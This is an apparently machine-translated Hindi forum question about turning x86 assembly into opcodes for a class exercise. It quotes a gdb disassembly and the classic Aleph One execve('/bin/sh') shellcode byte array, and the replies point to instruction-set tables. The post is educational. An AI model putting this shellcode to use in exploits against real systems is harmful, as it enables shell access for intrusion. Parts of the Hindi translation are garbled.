मुझे पता है कि जीडीबी का उपयोग करके मेरे प्रोग्राम के असेंबली कोड को कैसे प्राप्त किया जाए, लेकिन मैं ऑपोड कैसे प्राप्त करूं? मुझे लिनक्स सर्वर हैक करने की आवश्यकता है (चिंता न करें कि यह एक वर्ग का हिस्सा है, इसलिए कोई वास्तविक सर्वर नुकसान नहीं पहुंचाएगा)। असल में मैं this लेख पढ़ रहा था और मैं सोच रहा हूँ मैं विधानसभा से कैसे प्राप्त कर सकते हैं:सी प्रोग्राम के ऑपकोड कैसे प्राप्त करें
[aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c
[aleph1]$ gdb shellcodeasm
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: jmp 0x800015f <main+47>
0x8000135 <main+5>: popl %esi
0x8000136 <main+6>: movl %esi,0x8(%esi)
0x8000139 <main+9>: movb $0x0,0x7(%esi)
0x800013d <main+13>: movl $0x0,0xc(%esi)
0x8000144 <main+20>: movl $0xb,%eax
0x8000149 <main+25>: movl %esi,%ebx
0x800014b <main+27>: leal 0x8(%esi),%ecx
0x800014e <main+30>: leal 0xc(%esi),%edx
0x8000151 <main+33>: int $0x80
0x8000153 <main+35>: movl $0x1,%eax
0x8000158 <main+40>: movl $0x0,%ebx
0x800015d <main+45>: int $0x80
0x800015f <main+47>: call 0x8000135 <main+5>
0x8000164 <main+52>: das
0x8000165 <main+53>: boundl 0x6e(%ecx),%ebp
0x8000168 <main+56>: das
0x8000169 <main+57>: jae 0x80001d3 <__new_exitfn+55>
0x800016b <main+59>: addb %cl,0x55c35dec(%ecx)
End of assembler dump.
निम्नलिखित:
testsc.c
------------------------------------------------------------------------------
char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
प्रणाली लिनक्स x86 और भाषा मैं सी मैं का उपयोग किया जाएगा है वास्तव में एक स्वचालित तरीके से पसंद है, लेकिन एक मैनुअल समाधान भी काम करेगा।
मेरा मतलब है कि मैं% ebp,% esi,% esp आदि कैसे परिवर्तित करूं .. क्या कोई नक्शा मैं उपयोग कर सकता हूं? या एक स्वचालित प्रोग्राम?
क्या आप x86 डिस्सेबलर की तलाश में हैं? –
मुझे लगता है कि डिस्सेबलर जो मैं कर रहा हूं उसके विपरीत करता है –
x86 निर्देश सेट की एक सूची में मैपिंग है, इसका उपयोग 0xEB (जो 'जेएमपी' है) या इसके विपरीत (संयोजन, या " संकलन ", 'जेएमपी' से 0xEB आदि)। – tripleee